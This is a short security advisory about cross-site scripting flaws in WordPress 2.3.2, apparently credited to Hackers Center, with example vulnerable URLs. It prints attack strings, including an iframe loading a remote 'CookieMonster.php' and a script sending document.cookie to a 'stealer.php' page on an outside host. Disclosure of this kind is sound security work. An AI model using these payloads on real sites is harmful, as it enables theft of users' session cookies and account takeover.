SecurityReason - WordPress Multiple Cross-Site Scripting Vulnerabilities

Advisory Text :

Vulnerabilities in Wordpress, which can be exploited by malicious people to
conduct cross-site scripting and script insertion attacks.Input passed to
certain parameters in various scripts isn't properly verified before it is
returned to the user. This can be exploited to execute arbitrary HTML or
script code in a user's browser session in context of an affected site by
tricking the user into visiting a malicious website or follow a specially
crafted link.

An attacker may leverage these issues to execute arbitrary script code in
the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.

Hackers Center Security Group (http://www.hackerscenter.com)

Credit: DoZ Class: Input Validation Error

Remote: Yes

Product: WordPress

Version: 2.3.2

Vendor: http://www.WordPress.com

Attackers can exploit these issues via a web client.

Url: (1 & 2)

1. Our Testing Example:

http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=A
ttack_Code

Example of Attack String: ">< iframe
src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0>

< /script>

2. Our Testing Example: (Works If Admin is already logged in)

http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cs
cript%3Ealert

(document.cookie);%3C/script%3E

Example of Attack String:

< script>document.location="http://www.mysite/stealer.php?cookie="+documen
t.cookie;</script>

Refrence:

http://www.hackerscenter.com/index.php?/Latest-posts/114-WordPress-Multi
ple-Cross-Site-Scripting-Vulnerabilities.html?id=114

Video:

http://www.hackerscenter.com/public/%5F/wordpress/Wordpress.html